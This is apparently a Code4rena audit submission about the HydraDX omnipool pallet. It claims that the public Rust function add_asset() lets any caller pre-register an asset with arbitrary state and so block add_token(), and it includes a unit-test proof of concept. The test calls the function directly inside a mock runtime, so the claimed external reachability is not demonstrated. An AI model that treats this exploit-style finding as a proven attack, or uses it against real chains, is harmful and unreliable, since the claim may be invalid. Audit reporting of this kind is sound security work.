c4-bot-2 commented 8 months ago

Lines of code

https://github.com/code-423n4/2024-02-hydradx/blob/main/HydraDX-node/pallets/omnipool/src/lib.rs#L1965-L1972

Vulnerability details

Impact

In the omnipool/src/lib.rs , the add_asset() function is a public function defined in a Pallet implementation. Since this function is clearly marked public, it can be called outside the pallet. Hence any user or smart contract within the runtime can make a call to add_asset() and update the state of any omnipool contract by adding a new asset with assetState before an authorized user does.

The function adds new asset to list of Omnipool assets. Once added, the add_token() cannot be called by the AuthorizedOrigin since the asset is already added on the list. The function also sets an AssetState for the asset, thus allowing any user to set any arbitruary value as the state for asset, e.g setting the shares value to a high amount.

Proof of Concept

https://github.com/code-423n4/2024-02-hydradx/blob/main/HydraDX-node/pallets/omnipool/src/lib.rs#L1965-L1972

Test PoC


#[test]
fn add_asset_before_authorized_origin() {
    ExtBuilder::default()
        .with_registered_asset(1000)
        .add_endowed_accounts((LP1, 1_000, 5000 * ONE))
        .add_endowed_accounts((Omnipool::protocol_account(), 1_000, 2000 * ONE))
        .with_initial_pool(FixedU128::from_float(0.5), FixedU128::from(1))
        .build()
        .execute_with(|| {
            let token_price = FixedU128::from_float(0.65);

            let token_amount = 2000 * ONE;

            assert_ok!(Omnipool::add_asset(
                1_000,
                AssetState {
                    hub_reserve: 500000000000000,
                    shares: 1000000000000000,
                    protocol_shares: 0,
                    cap: 20_000_000_000_000_000,
                    tradable: Tradability::default(),
                }
            ));

            assert_noop!(Omnipool::add_token(
                RuntimeOrigin::root(),
                1_000,
                token_price,
                Permill::from_percent(100),
                LP1
                ),
                Error::<Test>::AssetAlreadyAdded
            );

        });
}